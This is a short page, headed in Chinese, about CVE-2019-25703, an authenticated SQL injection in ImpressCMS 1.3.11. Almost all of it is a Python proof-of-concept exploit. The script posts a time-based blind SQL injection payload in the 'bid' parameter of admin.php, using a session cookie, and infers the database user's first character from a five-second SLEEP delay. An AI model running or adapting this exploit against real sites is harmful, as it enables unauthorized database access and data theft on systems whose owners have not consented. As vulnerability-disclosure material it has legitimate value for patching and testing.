CVE-2019-25703 ImpressCMS SQL注入漏洞

import requests import time # Exploit Title: ImpressCMS 1.3.11 - SQL Injection (Authenticated) # Date: 2019-01-14 # Exploit Author: VulnCheck # CVE: CVE-2019-25703 target_url = "http://target-site/impresscms/admin.php" # Replace with valid session cookie obtained after authentication cookies = { "ICMSSESSION": "valid_session_id_here" } # Time-based blind SQL injection payload # Checks if the first character of the database user is 'r' (ASCII 114) # If true, the database will sleep for 5 seconds payload = { "bid": "1 AND (SELECT 114 FROM DUAL WHERE SUBSTRING(USER(), 1, 1)=CHAR(114))=SLEEP(5)" } try: print("[*] Sending malicious request to check for SQL injection...") start_time = time.time() response = requests.post(target_url, data=payload, cookies=cookies) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print("[+] Vulnerability confirmed! Response time: {:.2f} seconds".format(elapsed_time)) print("[+] The 'bid' parameter is vulnerable to time-based blind SQL injection.") else: print("[-] Vulnerability not detected or payload failed. Response time: {:.2f} seconds".format(elapsed_time)) except Exception as e: print("[-] An error occurred: {}".format(str(e)))